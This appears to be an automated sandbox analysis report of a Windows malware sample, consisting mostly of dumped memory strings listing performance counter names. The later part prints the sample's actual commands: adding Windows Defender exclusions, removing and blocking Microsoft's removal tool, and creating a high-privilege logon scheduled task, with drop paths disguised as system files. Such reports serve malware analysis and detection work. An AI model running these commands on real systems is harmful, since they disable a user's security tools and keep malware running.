Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1653708046.00000245AF59A000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2377021004.00000236AB074000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flus
Source: SgrmBroker.exe, 00000018.00000002.2573746775.00000236ACA50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B11CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Logical Processorc.sysO
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor.
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processor
Source: SgrmBroker.exe, 00000018.00000002.2573746775.00000236ACA50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AlDHyper-V Virtual Machine Bus Pipes8
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000002.2573746775.00000236ACA50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sWDHyper-V Hypervisor Root Partition
Source: SgrmBroker.exe, 00000018.00000003.2375167971.00000236AB080000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost
Source: SgrmBroker.exe, 00000018.00000002.2572548806.00000236AAFA7000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2444417839.00000236AD049000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2424523609.00000236AD048000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisors(x'bs
Source: SgrmBroker.exe, 00000018.00000002.2573746775.00000236ACA50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisor
Source: SgrmBroker.exe, 00000018.00000002.2572548806.00000236AAFA7000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2444417839.00000236AD049000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2424523609.00000236AD048000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration ServicefwP
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Hypervisor Root Partition1
Source: SgrmBroker.exe, 00000018.00000003.2374064581.00000236AB07F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Acc
Source: SgrmBroker.exe, 00000018.00000002.2572548806.00000236AAFA7000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2424523609.00000236AD00E000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2445898978.00000236AD001000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Hypervisor Root Partition3
Source: SgrmBroker.exe, 00000018.00000002.2572548806.00000236AAFA7000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2424523609.00000236AD00E000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2445898978.00000236AD001000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Virtual Machine Bus PipesYE4
Source: SgrmBroker.exe, 00000018.00000003.2374418575.00000236ACAB3000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2377462053.00000236ACAB3000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2374630747.00000236ACAB3000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2374902804.00000236ACAB3000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2374697966.00000236ACAB3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interru
Source: SgrmBroker.exe, 00000018.00000003.2377021004.00000236AB074000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 4866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost5032Debug Register Accesses/sec5034Debug Register Accesses Cost5036Page Fault Intercepts/sec5038Page Fault Intercepts Cost5040NMI Interrupts/sec5042NMI Interrupts Cost5044Guest Page Table Maps/sec5046Large Page TLB Fills/sec5048Small Page TLB Fills/sec5050Reflected Guest Page Faults/sec5052APIC MMIO Accesses/sec5054IO Intercept Messages/sec5056Memory Intercept Messages/sec5058APIC EOI Accesses/sec5060Other Messages/sec5062Page Table Allocations/sec5064Logical Processor Migrations/sec5066Address Space Evictions/sec5068Address Space Switches/sec5070Address Domain Flushes/sec5072Address Space Flushes/sec5074Global GVA Range Flushes/sec5076Local Flushed GVA Range
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B11CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus Pipesl
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AlDHyper-V Virtual Machine Bus Pipes
Source: SgrmBroker.exe, 00000018.00000002.2572548806.00000236AAFA7000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2444417839.00000236AD049000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2424523609.00000236AD048000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine BusLwQ
Source: SgrmBroker.exe, 00000018.00000003.2445898978.00000236AD038000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000002.2572548806.00000236AAFA7000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2424523609.00000236AD039000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Logical Processormui7\O
Source: SgrmBroker.exe, 00000018.00000002.2572548806.00000236AAFA7000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2424523609.00000236AD00E000.00000004.00000020.00020000.00000000.sdmp, SgrmBroker.exe, 00000018.00000003.2445898978.00000236AD001000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical ProcessorGE"
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1656543805.00000245B0E4F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1653171137.00000245B0E5D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1655673640.00000245B0E5D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1651694113.00000245B0E4F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Re
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B11CC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1674564791.00000245B124A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1651759830.00000245B0E41000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1652899480.00000245B0E4D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1652596169.00000245B0E4D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1652293425.00000245B0E4D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1652771513.00000245B0E4D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14

Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe

API call chain: ExitProcess graph end node

graph_24-17770

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe

Code function: 24_2_00007FF6D9DBF6C0 IsDebuggerPresent,

24_2_00007FF6D9DBF6C0

Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe

Code function: 24_2_00007FF6D9CF1680 RtlReAllocateHeap,GetErrorInfo,SafeArrayDestroy,ProcessPrng,GetProcessHeap,HeapAlloc,GetErrorInfo,VariantClear,GetProcessHeap,HeapFree,VariantClear,HeapFree,HeapFree,HeapFree,HeapFree,SafeArrayDestroy,GetErrorInfo,HeapFree,HeapFree,

24_2_00007FF6D9CF1680

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe

Code function: 24_2_00007FF6D9DD8D8C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

24_2_00007FF6D9DD8D8C

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionPath @($env:ProgramData, 'C:\Users\Public') -ExclusionExtension '.exe' -Force"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionPath @($env:ProgramData, 'C:\Users\Public') -ExclusionExtension '.exe' -Force"			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	NtQueryInformationProcess: Indirect: 0x7FF6D9DCF3BC	Jump to behavior
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	NtQueryInformationProcess: Indirect: 0x7FF6D9DCF455	Jump to behavior
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	NtQueryInformationProcess: Indirect: 0x7FF6D9DCDEF5	Jump to behavior
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	NtQueryInformationProcess: Indirect: 0x7FF6D9DCE06C	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	NtQueryInformationProcess: Indirect: 0x7FF60994161C	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	NtQueryInformationProcess: Indirect: 0x7FF6099414A8	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	NtQueryInformationProcess: Indirect: 0x7FF609942A25	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	NtQueryInformationProcess: Indirect: 0x7FF60994298C	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionPath @($env:ProgramData, 'C:\Users\Public') -ExclusionExtension '.exe' -Force"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c "wusa /uninstall /kb:890830 /quiet /norestart"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c "del /f /q %SystemRoot%\System32\MRT.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c "reg add HKLM\SOFTWARE\Policies\Microsoft\MRT /v DontOfferThroughWUAU /t REG_DWORD /d 1 /f"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe "C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Process created: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe "C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SOFTWARE\Policies\Microsoft\MRT /v DontOfferThroughWUAU /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c "schtasks /Create /TR C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe /SC ONLOGON /TN TMPSYSUPD /F /RL highest"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /Create /TR C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe /SC ONLOGON /TN TMPSYSUPD /F /RL highest

Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1719566246.00000245B120C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1690429758.00000245B120C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd\|
Source: SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1719566246.00000245B120C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe, 00000005.00000003.1690429758.00000245B120C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Queries volume information: C:\Users\Public\Pictures_Old\AppData_Old\SppExtComObj.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Variant.Giant.Cerbu.75.14856.25265.exe	Queries volume information: C:\ProgramData\Fonts_Backup\Music_1\SgrmBroker.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
